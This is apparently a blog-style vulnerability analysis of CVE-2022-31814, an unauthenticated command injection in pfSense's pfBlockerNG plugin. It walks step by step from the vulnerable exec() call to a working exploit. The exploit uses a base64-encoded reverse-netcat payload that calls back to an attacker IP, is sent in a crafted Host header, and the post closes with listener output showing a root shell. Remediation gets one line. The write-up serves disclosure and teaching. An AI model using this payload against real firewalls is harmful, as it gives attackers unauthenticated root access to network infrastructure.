Overview
pfSense’s pfBlockerNG plugin version 2.1.4_26 and versions below has remote command execution vulnerability that can be exploited without any authentication and will provide root access. Credits go the IHTeam who discovered this vulnerability in September 2022. CVE-2022-31814 carries a CVSS score of 9.8 and this vulnerability is likely to be exploited in the wild.
pfBlockerNG (https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html) is a pfSense plugin that is NOT installed by default and it’s generally used to block inbound connections from whole countries or IP ranges.
The vulnerability was identified in the file /usr/local/www/pfblockerng/www/index.php which is used to record and query DNSBL data. Specifically to query, the code uses PHP function exec(), passing untrusted data into the command line code below:
// Query DNSBL Alias for Domain List.
$query = str_replace('.', '\.', htmlspecialchars($_SERVER['HTTP_HOST']));
exec("/usr/bin/grep -l ' \"{$query} 60 IN A' /var/db/pfblockerng/dnsblalias/*", $match);
The $_SERVER[‘HTTP_HOST’] element passed in the above code, is a user-controllable input. An attacker can tamper with the HTTP_HOST parameter via the "Host:" header of the request.
There are a few restrictions in place that you need to bypass to make this work:
- htmlspecialchars() PHP function was preventing the use of shell redirections (> and <), double quotes (“), and ampersand (&)
- nginx web server won’t accept the forward slash (/) in the Host header, returning a 400 – Bad Request
Therefore, the only available characters to build a working payload were:
- pipe (|)
- semicolon (
- single quote (‘)
- spaces ( )
Other limitations are:
- Python is installed on pfSense , but it does not have the symbolic links (python3, python), so you need to specifically mention the version a.k.a.
python3.8 base64is not installed, so for base64 decoding we will use thepython3.8 -m base64 -doption
So let’s play around what we can do here… To easily identify a valid payload, we can copy the original command in the exec() function and try to tamper with it directly in a shell:
/usr/bin/grep -l ’ “INJECTION 60 IN A’ /var/db/pfblockerng/dnsblalias/*
In order to obtain a working PoC, we need:
- Close the single quote
- Specify a directory to search on
- Break the command with a semicolon
- Comment or add an additional single quote
A simple example is the sleep command below.
' *; sleep 5; '
This can be used as a simple test to see if your remote command execution works.
For more complex payloads that requires the restricted characters like forward slashes (/), double quotes (“”) and ampersand (&), we should encode our payload with base64 and decode using python3.8 for execution.
A simple netcat scenario is nc 192.168.201.8 4444 -e /bin/sh and encode it with base64, however the -e option is controlled by an ip_sec_policy on the pfSense firewall which restricts the usage of the -e option.
It is a still a firewall, right
So another alternative is to use the reverse netcat option generated with msfvenom that does not use the -e option.
# msfvenom -p cmd/unix/reverse_netcat LHOST=192.168.100.7 LPORT=4444 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 95 bytes
mkfifo /tmp/klmql; nc 192.168.100.7 4444 0</tmp/klmql | /bin/sh >/tmp/klmql 2>&1; rm /tmp/klmql
# echo 'mkfifo /tmp/klmql; nc 192.168.100.7 4444 0</tmp/klmql | /bin/sh >/tmp/klmql 2>&1; rm /tmp/klmql' | base64
bWtmaWZvIC90bXAva2xtcWw7IG5jIDE5Mi4xNjguMTAwLjcgNDQ0NCAwPC90bXAva2xtcWwgfCAvYmluL3NoID4vdG1wL2tsbXFsIDI+JjE7IHJtIC90bXAva2xtcWwK
Let’s take this encoded payload (please check for any restricted characters) and use python to decode payload for execution -> python3.8 -m base64 -d
Hence, the final payload to obtain a reverse netcat shell in pfSense would be as follows:
/usr/bin/grep -l ’ “' * ; echo bWtmaWZvIC90bXAva2xtcWw7IG5jIDE5Mi4xNjguMTAwLjcgNDQ0NCAwPC90bXAva2xtcWwgfCAvYmluL3NoID4vdG1wL2tsbXFsIDI+JjE7IHJtIC90bXAva2xtcWwK | python3.8 -m base64 -d | sh ; ' 60 IN A’ /var/db/pfblockerng/dnsblalias/*
Let’s now use burpsuite to send our payload to the vulnerable pfblockerng plugin by manipulating the "Host:" header parameter to launch a netcat shell
GET /pfblockerng/www/index.php HTTP/1.1
Host: ' * ; echo bWtmaWZvIC90bXAva2xtcWw7IG5jIDE5Mi4xNjguMTAwLjcgNDQ0NCAwPC90bXAva2xtcWwgfCAvYmluL3NoID4vdG1wL2tsbXFsIDI+JjE7IHJtIC90bXAva2xtcWwK | python3.8 -m base64 -d | sh ; '
Click send and voila, we have established a netcat session on the attacker machine with root privileges.
# nc -lnvp 4444
listening on [any] 4444 ...
connect to [192.168.100.7] from (UNKNOWN) [192.168.100.47] 45051
pwd
/usr/local/www/pfblockerng/www
whoami
root
As stated in the beginning of this analysis, pfSense default installation does not have the pfblockerng plugin installed by default, but it is a widely deployed plugin on pfSense installations, increasing the practical exposure of the vulnerable code path.
There is already a Metasploit module available that exploits this vulnerability using php to launch a webshell and it has the options to spawn reverse shells.
Remediation
Please update your pfBlockerNG plugin to the latest version.